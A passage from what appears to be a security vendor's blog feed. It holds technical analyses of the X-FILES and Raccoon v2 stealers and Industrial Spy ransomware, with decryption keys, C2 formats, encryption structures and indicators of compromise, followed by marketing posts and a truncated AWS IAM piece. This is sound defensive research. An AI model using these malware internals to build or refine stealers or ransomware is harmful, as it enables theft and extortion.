FTP-related information, which wasn’t present in the oldest version. It is noteworthy that the second variant steals only Filezilla-related information, whereas the latest variant is also capable of stealing WinScp information, as shown in the below snapshot. Moreover, the latest variant is making use of XmlReader to get values, whereas in the second variant Regex is used to get the targeted information. #Filezilla [Latest variant] Figure 10: Filezilla Information stealing code in latest variant #WinScp [Latest variant] Figure 11: WinScp Information stealing code in latest variant # Second variant Figure 12: Filezilla Information stealing code in older variant Strings Before and After Decryption In order to hide the stuff at static level, the latest variant is now making use of base64 encoded strings (refer to the below snapshot), whereas in earlier versions the strings were in plain text format. Figure 13: Base64 encoded and decoded strings. C2 Communications After performing stealing activities, the malware then exfiltrates data in JSON format to its embedded C2 server. Note:- The attackers nowadays prefer using JSON as a data exchange mechanism as it can be used with any programming language and is easy to handle. Also, as it is a lightweight and structured notation, it is relatively easy to serialize and deserialize the data. Figure 14: JSON data exfiltration - latest variant The description of the C2 pattern of the latest variant is as follows: Parameters Description cookies_x Number of cookies information collected country_x Country Code credit_x Number of Credit cards information retrieved ice_o_lator_hash MD5 hash value of zip file ip_x IP information passwords_x Number of password retrieved postal_x Postal code tag_x Attacker’s hardcoded predefined value user_id Attacker’s hardcoded predefined value wallets_x Names of wallets for which information is collected x_type Type of coverage i.e full or partial zipx Base64 encrypted ZIP file consisted of files created by the stealer In the second variant, the POST request is also made and sent with similar parameters, but not in JSON format. Figure 15: JSON data exfiltration - second variant In the oldest variant, the C2 pattern was simple and in readable format as shown below: Figure 16: JSON data exfiltration - earliest variant Features Comparison Target Information Latest Variant [June, 2022] Second Variant [Dec, 2021] Oldest Variant [March, 2021] System Information Yes* Yes Yes Browser Information Yes* Yes* Yes Wallets Information Yes Yes No Telegram Information Yes Yes No FTP Information Yes* Yes No Files Collection Yes Yes Yes Steam Information Yes Yes No Discord Tokens Yes Yes No ScreenShot Yes Yes Yes Note: ”*” implies additional features have been added Conclusion It seems that the threat actors behind the X-FILES stealer campaign are continuously making changes or enhancement in the code and delivery mechanisms to steal a wider variety of sensitive user and system information. In the future, we anticipate additional variants that continue in this trend. Zscaler’s ThreatLabz team is continuously monitoring the campaign and will publish any new findings. MITRE ATT&CK AND TTP Mapping ID Tactic T1189 Drive-by Compromise T1140 Deobfuscate/Decode Files or Information T1082 System Information Discovery T1083 File and Directory Discovery T1005 Data from Local System T1047 Windows Management Instrumentation T1003 OS Credential Dumping T1018 Remote System Discovery T1552.002 Credentials in Registry T1518.001 Security Software Discovery Zscaler Sandbox Coverage: In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects payloads with following threat name: Win32.PWS.X-Files ***Appendix 1- C2 Panel ***Appendix 2 - IOCS [+]Network indicators ohvwowohv[.]ru Xfilesreborn[.]ru insidervpn[.]com importadoracandy[.]com xsph[.]ru [+]MD5s 123fd0237ca90f8a606009461fe2bb76 1ed070e0d33db9f159a576e6430c273c 1b85d1786c4dde6ca1ee03a95e19531e 53ea3df8e2e5749eccd4334b8666da4d 908665f3d7fd15ac69eb2ac320a5338a 707e79d19e602986960fc3717c89d5c4 [+] Filenames client.exe ReadLineS0SAT.exe Svc_host.exe ConsoleA.exe Thu, 04 Aug 2022 15:22:22 -0700 Stuti Chaturvedi Raccoon Stealer v2: The Latest Generation of the Raccoon Family Introduction Raccoon is a malware family that has been sold as malware-as-a-service on underground forums since early 2019. In early July 2022, a new variant of this malware was released. The new variant, popularly known as Raccoon Stealer v2, is written in C unlike previous versions which were mainly written in C++. The Raccoon Malware is a robust stealer that allows stealing of data such as passwords, cookies, and autofill data from browsers. Raccoon stealers also support theft from all cryptocurrency wallets. In this blog, ThreatLabz will analyze Raccoon Stealer v2 in the exe format, and highlight key differences from its predecessors. The authors of the Raccoon Stealer malware have announced that other formats are available, including DLLs and embedded in other PE files. Detailed Analysis Raccoon v2 is an information stealing malware that was first seen on 2022-07-03. The malware is written in C and assembly. Though we noticed a few new features in the newer variant as mentioned below, the data stealing mechanism is still the same as is seen in its predecessor: Base64 + RC4 encryption scheme for all string literals Dynamic Loading Of WinAPI Functions Discarded the dependence on Telegram API We have noticed a significant change in the way list of command and control servers is obtained. The Raccoon Malware v1 was seen abusing the Telegram network to fetch the list of command and control servers, whereas the newer variant has abandoned the use of Telegram. Instead, they use a hardcoded IP address of a threat-actor-controlled server to fetch the list of command and control servers from where the next stage payload (mostly DLLs) is downloaded. File Information Malware Name: Raccoon Stealer v2 Language: C File Type: exe File Size: 56832 MD5: 0cfa58846e43dd67b6d9f29e97f6c53e SHA1: 19d9fbfd9b23d4bd435746a524443f1a962d42fa SHA256: 022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03 Debug Information The analyzed file has debug data intact. According to the Debug headers compilation date was Thursday, 26/05/2022 13:58:25 UTC as shown in Figure 1. Figure 1: Raccoon v2 Debug Headers We have also seen a change in how Raccoon Stealer v2 hides its intentions by using a mechanism where API names are dynamically resolved rather than being loaded statically. The stealer uses LoadLibraryW and GetProcAddress to resolve each of the necessary functions (shown in Figure 2). The names of the DLLs and WinAPI functions are stored in the binary as clear text. Figure 2: Raccoon v2 dynamic resolution List Of Loaded DLLs kernel32.dll Shlwapi.dll Ole32.dll WinInet.dll Advapi32.dll User32.dll Crypt32.dll Shell32.dll Raccoon v1 did not employ dynamic resolution for used functions, therefore packed samples were often observed in the wild to evade detection mechanisms. Conversely, Raccoon v2 is often delivered unpacked. Figure 3 shows the imported DLLs for raccoon v1. Figure 3: Raccoon Stealer v1 imports (unpacked) Once resolution of functions is done, the stealer will run its string decryption routine. The routine is simple. RC4 encrypted strings are stored in the sample with base64 encoding. The sample first decodes the base64 encoding and then decrypts the encrypted string with the key ‘edinayarossiya’. This routine is followed for all the strings in function string_decryption(). The 'string_decryption' routine is shown in Figure 4. Figure 4: Raccoon v2 String Decryption Routine Previous versions of Raccoon Stealer did not encrypt string literals other than hard coded IP addresses. The Raccoon v2 variant overcomes this by encrypting all the plain text strings. Several of the plaintext strings of Raccoon v1 are shown in Figure 5. Figure 5: Plaintext Strings In Raccoon v1 After manual decryption of the Raccoon v1 sample strings, the following (Figure 6 and Figure 7) strings were obtained in plaintext format. Figure 6: Raccoon v2 Decrypted Strings Figure 7: Raccoon v2 Decrypted Strings The command and control IP addresses are saved in the malware and follow the same decryption routine but have a different key, 59c9737264c0b3209d9193b8ded6c127. The IP address contacted by the malware is ‘hxxp://51(.)195(.)166(.)184/’. The decryption routine is shown in Figure 8. Figure 8: IP Address Decryption Raccoon v2 Decrypting Command and Control IP Address The encrypted command and control IP Address can be easily decrypted by using public tools such CyberChef as shown in Figure 9. Figure 9: Raccoon v2 IP Address (via cyberchef utils) This technique is common between both versions of the malware. Figure 10 shows the same routine employed in Raccoon v1. Figure 10: Raccoon v1 setting up overhead before IP Address decryption Once all the overhead of setting up the functions and decryption of the strings is done, the malware will perform some checks before contacting the command and control server to download malicious DLLs and exfiltrate information. Overhead Before Exfiltration Before executing the core of the malware, certain checks are made to understand the execution environment. This includes making sure the malware isn't already running on the machine. Further the malware also checks if it's running as NT Authority/System. The malware gets a handle on mutex and checks if it matches a particular value or not. If it matches, the malware continues execution. Value: 8724643052. This technique is used to make sure only one instance of malware is running at one time. Figure 11 depicts the Mutex check and creation for Raccoon v2, while Figure 12 depicts the similar procedure used in Raccoon v1. Figure 11: Raccoon v2 Mutex Check Figure 12: Raccoon v1 Mutex Check By retrieving the Process token and matching the text "S-1-5-18," as shown in Figure 13, the malware determines if it is or is not operating as the SYSTEM user. Figure 13: Raccoon v2 Enumerating Process Token If running as a SYSTEM user, the enumeration of all the running processes is done with the help of fun_CreateToolhelp32Snapshot. Otherwise, the malware moves forward without the enumeration. Figure 14 shows the 'enumerate_processes()' function being called while Figure 15 shows the malware iterating over the Processes. Figure 14: Raccoon v2 Enumerate Process Figure 15: Raccoon v2 Iterating Process Struct Fingerprinting Host Once the malware is aware of the environment in which it's running, it starts to fingerprint the host. This malware uses functions such as: RegQueryValueExW for fetching machine ID GetUserNameW Figure 16 depicts the malware retrieving the Machine ID from the registry key "SOFTWAREMicrosoftCryptography" via the RegQueryKeyExW and RegQueryValueExW functions. Figure 17 depicts malware using the GetUserNameW function to retrieve a username. Figure 16: Raccoon v2 Fetching MachineID Figure 17: Raccoon v2 Fetching Username Figure 18: Raccoon v2: Username Buffer After all this is done, the malware will enumerate information such as MACHINE ID and username and then send the data to the remote command and control server. For this purpose, the malware creates a char string and starts appending these values to it. It starts by adding machine id and username. Figure 19 shows the built payload in buffer. Figure 19: Raccoon v2: Fingerprinting Payload Next, it generates and appends configId which is the rc4 encryption key. machineId=<MachineGuid>|<UserName>&configId=<RC4 key> Communications with Command and Control Communication with command and control takes place over plain text http protocol. The previously decrypted IP address hxxp://51(.)195(.)166(.)184/ is used for command and control communication. The malware contacts the list of previously decrypted command and control IP addresses (stored in local_3c). Since this malware only contains one command and control IP Address, the post request is only made to one as seen in Figure 20. Figure 20: Raccoon v2: Command and Control communication Command and Control URL Figure 21: Raccoon v2 URL in buffer Request Headers Figure 22: Raccoon v2 Request Headers Once the request has been made, the malware checks if the content body length is zero or not. If no content is received from command and control or the content body length is zero, the malware exits. This check is made because the exfiltration mechanism of the malware requires command and control to respond with a list IP Addresses to exfiltrate data to. In Figure 23, this condition can be seen along with the 'ExitProcess()' function call. Figure 23: Raccoon v2 Verifying Response Content Discarded the dependence on Telegram bot The Raccoon v1 relied on the Telegram Bot API description page to fetch command and control IP addresses and establish connections. The recent malware variants (v2) from this family have started to hard-code IP addresses in the binary to achieve this task. Raccoon Malware v2 uses 5 hard coded IP addresses and iterates over them. Data Exfiltration The malware relies on response from command and control server to down the required DLLs and decides on the next course of action. As of the writing of this blog the command and control IP has died, thus analysis of traffic towards the host is not possible. ThreatLabz has previously observed that the command and control server provides information on where to download additional payloads from and which IP Address to use for further communications. Figure 24: Raccoon v2 pinging extracted IP Address Grepped DLLs Figure 25: Raccoon v2 DLLs that are downloaded The malware uses a WINAPI call to SHGetFolderPathW to get a path to C:\Users\<User>\AppData and appends “Local” to it and uses it as the path to store stolen information before sending it to the command and control. Figure 26: Raccoon v2 Storage Path In Buffer Indicators Of Compromise IP contacted by the analyzed sample of Raccoon v2. 55(.)195(.)166(.)184 List Of Other IPs that act as an C2 for other samples can be found here. Downloaded DLLs nss3.dll sqlite3.dll GdiPlus.dll Gdi32.dll Path Used By the Malware C:\Users\<USERNAME>\AppData\Local Other samples observed in the wild of Raccoon v2. 0123b26df3c79bac0a3fda79072e36c159cfd1824ae3fd4b7f9dea9bda9c7909 022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03 048c0113233ddc1250c269c74c9c9b8e9ad3e4dae3533ff0412d02b06bdf4059 0c722728ca1a996bbb83455332fa27018158cef21ad35dc057191a0353960256 2106b6f94cebb55b1d55eb4b91fa83aef051c8866c54bb75ea4fd304711c4dfc 263c18c86071d085c69f2096460c6b418ae414d3ea92c0c2e75ef7cb47bbe693 27e02b973771d43531c97eb5d3fb662f9247e85c4135fe4c030587a8dea72577 2911be45ad496dd1945f95c47b7f7738ad03849329fcec9c464dfaeb5081f67e 47f3c8bf3329c2ef862cf12567849555b17b930c8d7c0d571f4e112dae1453b1 516c81438ac269de2b632fb1c59f4e36c3d714e0929a969ec971430d2d63ac4e 5d66919291b68ab8563deedf8d5575fd91460d1adfbd12dba292262a764a5c99 62049575053b432e93b176da7afcbe49387111b3a3d927b06c5b251ea82e5975 7299026b22e61b0f9765eb63e42253f7e5d6ec4657008ea60aad220bbc7e2269 7322fbc16e20a7ef2a3188638014a053c6948d9e34ecd42cb9771bdcd0f82db0 960ce3cc26c8313b0fe41197e2aff5533f5f3efb1ba2970190779bc9a07bea63 99f510990f240215e24ef4dd1d22d485bf8c79f8ef3e963c4787a8eb6bf0b9ac 9ee50e94a731872a74f47780317850ae2b9fae9d6c53a957ed7187173feb4f42 bd8c1068561d366831e5712c2d58aecb21e2dbc2ae7c76102da6b00ea15e259e c6e669806594be6ab9b46434f196a61418484ba1eda3496789840bec0dff119a e309a7a942d390801e8fedc129c6e3c34e44aae3d1aced1d723bc531730b08f5 f7b1aaae018d5287444990606fc43a0f2deb4ac0c7b2712cc28331781d43ae27 Conclusion Raccoon Stealer sold as Malware-as-a-Service has become popular over the past few years, and several incidents of this malware have been observed. The Authors of this malware are constantly adding new features to this family of malware. This is the second major release of the malware after the first release in 2019. This shows that the malware is likely to evolve and remain a constant threat to organizations. Zscaler coverage We have ensured coverage for the payloads seen in these attacks via advanced threat signatures as well as our advanced cloud sandbox. Figure 27: Zscaler Sandbox Detection Zscaler's multilayered cloud security platform detects indicators at various levels, as shown below: Win32.PWS.Raccoon Fri, 29 Jul 2022 15:45:39 -0700 Sarthak Misraa Technical Analysis of Industrial Spy Ransomware Industrial Spy is a relatively new ransomware group that emerged in April 2022. In some instances, the threat group appears to only exfiltrate and ransom data, while in other cases they encrypt, exfiltrate and ransom data. Industrial Spy started as a data extortion marketplace where criminals could buy large companies' internal data; they promoted this marketplace using README.txt files that were downloaded using malware downloaders disguised as cracks and adware. After these initial promotional campaigns, the threat group introduced their own ransomware to create double extortion attacks that combine data theft with file encryption. The threat group appears to have also seemingly tried Cuba ransomware briefly before developing their own ransomware in May 2022. Key points Industrial Spy is a relatively new group that emerged in April 2022 that started by ransoming stolen data and more recently has combined these attacks with ransomware. The threat group exfiltrates and sells data on their dark web marketplace, but does not always encrypt a victim’s files. The ransomware utilizes a combination of RSA and 3DES to encrypt files. Industrial Spy lacks many common features present in modern ransomware families like anti-analysis and obfuscation. The threat group is consistently adding roughly two to three victims per month on their data leak portal. Industrial Spy Market Promoter There are two primary executables associated with Industrial Spy. The first binary does not implement any destructive functionality, while the second performs file encryption. The former has been mainly distributed using cracks, adware and other malware loaders. Zscaler ThreatLabz has observed this binary being distributed in-the-wild with other loaders and stealers involving SmokeLoader, GuLoader and Redline Stealer. The sole purpose of this malware is to promote their dark web marketplace; it does not inflict any actual damage to the targeted system. Technical Details This malware is very basic and performs the following actions before deleting itself: Display a text-based note promoting the Industrial Spy data leak site (as shown in Figure 1). Figure 1: Industrial Spy data leak marketplace promotion note Enumerate paths under the registry key SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList and drop the file readme.txt recursively under all paths with the same note content. Change the wallpaper (shown in Figure 2) to advertise the Industrial Spy data leak marketplace. Figure 2: Desktop wallpaper set by the Industrial Spy marketplace promotion binary Industrial Spy Ransomware The Industrial Spy threat group introduced their own ransomware in May 2022. The Industrial Spy ransomware family is relatively basic and parts of the code appear to be in development. Industrial Spy utilizes very few obfuscation methods other than building strings on the stack at runtime. The ransomware also lacks many of the features commonly seen in modern ransomware families (such as anti-debug, anti-sandbox, etc.), although this may change in the future. Currently, there are not many Industrial Spy ransomware samples that have been observed in-the-wild. However, the group is consistently adding roughly two new victims per month on their data leak portal. Technical Details The Industrial Spy ransomware encryption and decryption both are handled by the same binary. Simplified steps taken by the ransomware are as follows: Parse command-line arguments Delete shadow copies Start an encryption thread to encrypt all drives or given paths Self-delete Delete Shadow copies Similar to other ransomware families, Industrial Spy deletes Windows shadow copies to make file recovery more difficult as shown in Figure 3. Figure 3: Industrial Spy pseudocode to delete Windows shadow copies Mode of Operation On execution, Industrial Spy checks whether an RSA public or RSA private key is embedded in the binary. Depending on the type of key, the ransomware will encrypt or decrypt files as shown below: if ( mw_ptr_key_encryption_public == 0x1F ){ if ( mw_ptr_key_decryption_private != (char)0xF1 ) { // decrypt files } } else { // encrypt files } Interestingly, it will always delete shadow copies irrespective of the mode. If command-line arguments are provided, Industrial Spy will start a thread to recursively encrypt files for each path argument that is provided. If no arguments are given, Industrial Spy will enumerate all drives and start one thread per volume (if it is not read-only). Each thread will recursively enumerate and encrypt files. All files for which the extension and path does not fall under the exclusion list will be encrypted. Paths containing the following strings are excluded: \microsoft\ \google\chrome \mozilla\firefox \opera\ The following file extensions are also excluded: . .mst .inf1 .shs .dll .scr .cmd .ps1 .jse .bat .paf .ins .u3p .exe .sct .com .reg .vbscript .bin .pif .inx .vb .gadget .shb .cpl .rgs .msi .job .vbs .isu .vbe .lnk .ws .msc .wsf .wsh During encryption, if the targeted file is locked by another process, Industrial Spy will attempt to terminate the process that holds the corresponding file handle, using the Restart Manager API. File Encryption Industrial Spy encrypts each file’s content with the Triple DES (3DES) algorithm. Each 3DES key and initialization vector (IV) are then encrypted with a hardcoded RSA public key. The result is appended with a footer to the encrypted file data. Industrial Spy will encrypt up to the first 100MB of data. Since 3DES is a block cipher, each block is padded accordingly with NULL (0x00) bytes to form a multiple of 24 bytes. After encryption, the original file content is overwritten with the following data shown in Figure 4. Figure 4: Industrial Spy encrypted file structure The encrypted file data structure is as follows: struct encrypted_file { byte 3des_encrypted_file_content[encrypted_size]; byte rsa_encrypted_key_blob[128]; qword original_file_size; dword end_of_encrypted_file_marker; // 0xFEEDBEEF }; The encryption parameters data structure is the following: struct rsa_encrypted_key_blob { word block_type; // 0x200 (used to validate RSA decryption result) byte random_bytes[77]; // random byte padding byte null; // 0x00 byte 3des_key[24]; // used for file data encryption byte iv[24]; // only the first 8 bytes are used }; Unlike nearly all ransomware families, Industrial Spy does not change the file extension after encryption. Therefore, the filename itself cannot be used to determine the files that have been encrypted. Instead, Industrial Spy appends a file footer that can be used to identify encrypted files using the last four bytes: 0xFEEDBEEF. RSA Key The RSA code used by Industrial Spy is very similar to the ISFB trojan’s source code. This RSA library was also used by the ransomware known as WastedLocker. Each Industrial Spy ransomware sample contains a hardcoded 1,024-bit RSA key that is unique to each victim in the following format: Figure 5: Embedded Industrial Spy RSA public key The first dword (4-bytes) in blue is the size of the RSA key in bits (0x400), which is 1,024 bits. The RSA key size is then followed by the modulus highlighted above in turquoise. The modulus contains a number of NULL bytes for padding, finally followed by the RSA public exponent (in orange) along with additional padding. Key Generation Industrial Spy generates a per file 3DES key and IV using the RSA library’s random function R_GenerateBytes(). This function takes a random structure as an argument to generate these values. The random structure itself is seeded by calling the x86/x64 CPU instruction rdtsc, which returns the processor’s timestamp. The CPU processor timestamp records the number of CPU clock cycles since the last reset. The result of rdtsc is passed to the RSA random function R_RandomUpdate(). The R_GenerateBytes() function is called twice to generate two 24-byte pseudorandom buffers. The first buffer is used as a 3DES key for encrypting the file’s data, and the first 8 bytes from the second buffer are used as the IV. A Python-based proof-of-concept Industrial Spy ransomware decryptor can be found in the Zscaler ThreatLabz GitHub tools repository. Ransom Note A file with the name readme.html is dropped in each directory that contains a ransom note as shown in Figure 6. Figure 6: Example Industry Spy ransom note A copy of the Industrial Spy ransom note can be found in the ThreatLabz GitHub ransom note repository here. Victim ID The Victim ID referred to as the personal id in the ransom note is just the MD5 hash of the modulus component of the embedded RSA public key. Dark Web Market The Industrial Spy leak portal is protected with a username and password as shown below in Figure 7. Figure 7: Industrial Spy market login page After authentication, the Industrial Spy home page is displayed as shown in Figure 8. Figure 8: Industrial Spy market home page The first victim on the leak site was listed on 03/15/2022. The total victim count as of 25 July 2022 was 37, and are broken down into the following categories: 24 Free 13 General 0 Premium Industrial Spy is mostly selling individual files (in the General category) instead of file bundles in the price range from $1 to tens of thousands of dollars. The group likely reviews the files before deciding whether to put a high price tag on sensitive files, and dumps the rest of the files with a $1 to $2 price tag. ThreatLabz has observed operating system files that have limited value like desktop.ini, thumbs.db listed for $2 as shown in Figure 9. Figure 9: Operating system files (e.g., desktop.ini) listed by Industrial Spy for $2 Conclusion Industrial Spy is a new entrant in the ransomware ecosystem. The malware is not currently very sophisticated, but the file encryption is functional making it a dangerous threat. Furthermore, Industrial Spy is consistently adding new victims, proving that the threat group has the capabilities to breach new organizations. Many players come and go in the ransomware market and it is difficult to determine the groups that will stay for the long term. However, this threat group is likely to stay at least in the near future with more ransomware updates and features to follow. ThreatLabz continues to monitor all kinds of threats and provide coverage to our customers. Cloud Sandbox Detection Figure 10: Zscaler Cloud Sandbox Report In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the campaign at various levels with the following threat names: Win32.Ransom.IndustrialSpy Indicators of Compromise (IOCs) SHA256 Description 8a5c7fff7a7a52dca5b48afc77810142b003b9dae1c0d6b522984319d44d135a Industrial Spy ransomware (debug build) dfd6fa5eea999907c49f6be122fd9a078412eeb84f1696418903f2b369bec4e0 Industrial Spy ransomware 5ed4ffbd9a1a1acd44f4859c39a49639babe515434ca34bec603598b50211bab Industrial Spy market promoter trojan 62051ec55c990d2ff21f36a90115986e4ac0eada18306f39687e209f49f2c6ec Industrial Spy market promoter trojan 911153af684ef3460bdf568d18a4356b84efdb638e3e581609eb5cd5223f0010 Industrial Spy market promoter trojan 85ea71c910ebb00ba8cae266bf18400a15b08bd341e37e12083ab9a79ff6c943 Industrial Spy market promoter trojan c96b098cab47c0a33d0b6d8f14b24e7c9ba897b0c59a2ac1f3dc608ca7a2ed7e Industrial Spy market promoter trojan Mon, 01 Aug 2022 08:00:02 -0700 Atinderpal Singh How to Simplify and Accelerate Remote Access, M&A Onboarding, and the Zero Trust Journey Better security does more than stop threats. It also simplifies and accelerates business and IT processes, allowing your company to transform as needed to thrive and grow. For many of our customers, the decision to go with Zscaler does exactly that, and makes it easier and faster to kickstart their zero trust journey. Below is just one example. In the past few years, this manufacturing company has grown organically and via acquisition, extending its presence in Canada and the US and expanding into Europe. To provide its growing user base with access to the internet and SaaS applications, internal applications, and network services, the company realized that the traditional hub-and-spoke security model just wasn’t agile or secure enough as it exposed a large attack surface, was complex to operate, and posed several other challenges. The traditional security model, with an external shell and trusted perimeter (firewalls and VPNs), provides a certain level of security, but a zero trust architecture, like the Zscaler Zero Trust Exchange, provides a much deeper defense. By trusting nothing and authenticating at the application level rather than the network, you segment and distribute the risk, dramatically shrinking the available attack surface and the lateral movement of threats. But before they even began considering a shift of our security paradigm to zero trust, they were just searching for a better solution for web filtering. As they implemented the first Zero Trust Exchange solution to address this need, and then expanded to enable secure remote access, they found themselves simplifying and accelerating processes—and reaping significant benefits, including paving the way for a zero trust transformation. Let me explain. Streamlining web filtering and security event monitoring Initially, the company implemented Zscaler Internet Access (ZIA) because they wanted a cloud-native security service edge (SSE) solution to filter web traffic and safeguard internet access across more than 70 locations globally. One big reason they went with ZIA was its ability to seamlessly decrypt 100% of SSL traffic since, in their experience, almost all the incoming traffic on our network these days is encrypted. With ZIA providing safe, fast internet and SaaS access and centralizing several million internet security event logs per day, it reduced their monitoring overhead significantly while simultaneously boosting their threat protection. As their company has grown, so has the traffic on their network. Last year traffic increased by 24% to 127.2 terabytes, and 93% of that was encrypted. During that year, the Zscaler solution: Filtered approximately 3.5 billion events. Prevented more than 745,200 policy violations. Blocked more than 37,000 security threats, including 5,490 hidden in encrypted traffic. Every day, ZIA automatically prevents users’ attempts to access malicious websites, follow phishing links, or engage in other risky behavior. All that threat prevention translates to less work for the security team and service desk. Simplifying remote access security management and remote users’ experience Next, the company decided to migrate away from VPNs, which they found extremely cumbersome and time consuming to administer, with tokens that were hard to maintain and provide. VPNs also pinned users to a particular ingress and egress point, depending on their points of presence, so any user movement meant more work on their part. In addition, they felt that the increase in remote code execution vulnerabilities in popular VPN products presented an unacceptable level of risk. They opted instead to deploy Zscaler Private Access (ZPA) for secure, remote access to internal apps and services. ZPA simplified remote access management tremendously compared to VPNs. ZPA depends neither on hardware nor location. They don’t have any hardware to maintain and Zscaler manages all the remote points of presence via its 150 data centers, thereby slashing our administrative overhead and giving users the closest point of access to our infrastructure through the Zscaler cloud. With ZPA, remote users can access what they need to do their jobs much more easily and faster than before. In addition, going with ZPA made their job even easier since they had already deployed ZIA. ZIA and ZPA are both part of the Zscaler Zero Trust Exchange platform and share the same agent. Since remote users’ devices already had the Zscaler agent installed, they didn’t even have to push out a new agent. Expediting post-acquisition onboarding by months By providing rapid access to internal applications and services, ZPA also dramatically simplified and sped up onboarding of employees from newly acquired companies. With the company’s most recent acquisition, it would normally have taken weeks, if not months, of planning and complicated network architecture discussions—not to mention reimaging of hundreds of workstations—to reach the point where they could grant these new employees access to their apps. With ZPA, they resolved the issues at the policy level in just hours, enabling their new employees to be much more productive weeks, or even months, sooner. In addition, with a zero trust architecture, they dramatically reduced risk with respect to mergers and acquisitions (M&A). According to McKinsey & Company, 51% of M&A dealmakers cite cyber risk as the top transaction risk. ZPA prevents infected devices from exploiting applications and resources but also grants each new authorized user access only to the applications and resources that person needs. So, threat exposure is minimized from acquired entities on day one. Fast-tracking the zero trust transformation process The Zscaler team collaborated with the company and supported them extremely well from the beginning. For example, when COVID-19 hit, Zscaler helped them transition their entire workforce to the work-from-anywhere paradigm within just a few weeks. They have told us that they could not have achieved the results that they did as rapidly and smoothly without Zscaler technology, guidance, and support. This company went from being a company that just wanted better internet filtering to one that is transforming its entire security strategy toward zero trust. Today they’re only at the beginning of their zero trust journey, but, continuing to partner with Zscaler, their goal is to employ zero trust across their estate, allowing employees to have a secure, seamless experience from any device, anywhere. To learn more, I invite you to check out our customer success stories library to learn how other companies are partnering with Zscaler to simplify and accelerate their zero trust journeys. Thu, 28 Jul 2022 08:00:01 -0700 Ankit Gupta ZIA Achieves Zero Trust Security-as-a-Service FedRAMP High Authorization I am proud to share that the FedRAMP Joint Authorization Board (JAB) has announced that Zscaler Internet Access (ZIA) achieved High Authority to Operate. This federal government certification represents the first-ever Secure Access Service Edge (SASE) Trusted Internet Connections (TIC) 3.0 solution to achieve FedRAMP’s highest authorization. ZIA now meets the stringent requirements of civilian agencies with high security requirements, as well as Department of Defense (DoD) and intelligence organizations. Given that JAB only selects a limited number of cloud services for review each year based on government-wide demand, our selection validates the strength of our solution and demonstrated ability to help Federal agencies, the Department of Defense (DoD), and the Intel community strengthen cyber defenses using Zero Trust. We’ve seen tremendous digital transformation progress in government over the past few years, and with this transformation, new vulnerabilities are also on the rise. The attack surface is bigger, more complex, and harder to protect. Zscaler is leading efforts to implement Zero Trust solutions across our patented Zero Trust Exchange to make cloud environments safer across Federal Civilian agencies, the DoD, and the Intelligence community. This milestone builds on our announcement that Zscaler Private Access (ZPA) achieved DoD IL5 and more recently, Zscaler’s Digital Experience (ZDX) service achieved FedRAMP authorization. With these achievements, the Zscaler Zero Trust Exchange, which includes ZIA and ZPA, can secure the U.S. government’s data at the moderate and high impact levels. ZIA in action Zscaler Internet Access – Government (Secure Web Gateway – vTIC)™ is a multi-tenant Cloud Security Platform known in the government that meets the Cybersecurity and Infrastructure Security Agency (CISA) TIC 3.0 guidelines. It has been the market leader as agencies work to meet modernization goals of shared services, mobile workforce enablement, improved FITARA scores, and more. Zscaler powers the shift to a modern, direct-to-cloud, Zero Trust architecture, regardless of device or user location. The Zscaler multi-tenant Cloud Security Platform applies policies set by the agency to securely connect the right user to the right application. As a Secure Access Service Edge (SASE) service, the Zscaler Cloud Security Platform is built from the ground up to provide comprehensive network security functions. Unlike traditional hub-and-spoke architectures where traffic is backhauled over dedicated wide area networks via VPNs to centralized gateways, Zscaler routes traffic locally and securely to the internet over any connection or device from anywhere. The Zscaler SASE architecture shifts security functions to focus on protecting the user/device in any location, rather than securing a network perimeter. This ensures that users get secure, fast, and local connections no matter where they connect. Moving to a security-as-a-service model decouples your organization’s security requirements from the responsibilities of maintaining infrastructure and updates. Since achieving FedRAMP Moderate certification in 2018, Zscaler, a Leader in the 2022 Gartner® Magic Quadrant™ for Security Service Edge (SSE), a security-specific component in the SASE framework – has completed SSE deployments for more than 100 US federal government and federal systems integrator customers at the moderate impact level. Many of these deployments supported the requirements of the Executive Order 14028, including Zero Trust, and met TIC 3.0 use cases. ZIA Improves security controls – Keeping IT focused on innovation with TIC in the cloud per the President’s Executive Order Federal IT leaders can improve on the who, what, where, when, and how they see, protect, and control user traffic to the internet by moving TIC security controls and other advanced security services to a cloud platform. The goal: immediate remediation on a global scale. This approach offers agencies global internet access and peering with FedRAMP-authorized applications. In addition, agencies can capture extensive log/telemetry data and store all agency data on U.S. soil with citizen-only access. Agencies can also provide the telemetry data to CISA’s Cloud Log Aggregation Warehouse (CLAW). With ZIA at the Moderate and High Baseline levels, agencies will have access to global TIC or more secure U.S.-only TIC solutions. Achieving a Zero Trust model with the Zscaler Zero Trust Exchange Through our Zero Trust Exchange and FedRAMP high solutions, all Federal agencies can achieve the Zero Trust goals mandated in the Cybersecurity Executive Order and implement CISA’s TIC 3.0 guidelines. Most agencies will need to approach Zero Trust in bite-sized chunks, setting priorities based on their unique needs. Check out our Zero Trust Playbook for prescriptive guidance on key steps that can be taken over time, leveraging a security ecosystem to achieve the end goal of Zero Trust. Zscaler ZIA will join with Zscaler ZPA High to offer the Zscaler “Zero Trust Exchange” completely at the High baseline. Zscaler is the first and only ZTA and SASE platform to be offered end to end at both moderate and high baseline. Mon, 01 Aug 2022 05:00:02 -0700 Stephen Kovac AWS IAM Roles Anywhere ~ IAM Risks Anywhere? AWS recently announced a new revolutionary Identity and Access Management (IAM) feature - IAM Roles Anywhere. This feature allows workloads (or any certificate holding entity, for that matter) outside the AWS account (on-prem or in other clouds), to assume a role (obtain temporary credentials for a role) in your AWS account and access AWS resources. While this feature presents a significant improvement in management of external access to AWS resources, it also presents security challenges; and unless done correctly; could potentially reduce the governance and manageability of your workload's identities. How does it work? Prior to this feature, an on-premises server could access an S3 bucket in an AWS account, for example, by creating an IAM user in the AWS account, creating access keys for that IAM user, and placing the keys on the on-premises server. It is considered bad practice to use access keys to identify workloads for a variety of reasons, including: Access keys can be forgotten and leaked There is no visibility into who is the entity using these keys They require regular rotation In comes Roles Anywhere To simplify; this feature relies on a CA (Certificate Authority) that issues certificates to your workloads confirming they are recognized by the CA. Inside AWS, you create a Trust Anchor, which is basically telling AWS “this is my CA, which I trust to authenticate my workloads.” Additionally, you create “profiles” that are collections of roles that can be assumed, once you are trusted by this trust anchor. When a workload wants to access an AWS resource, let's say, the S3 bucket above, it presents AWS with its 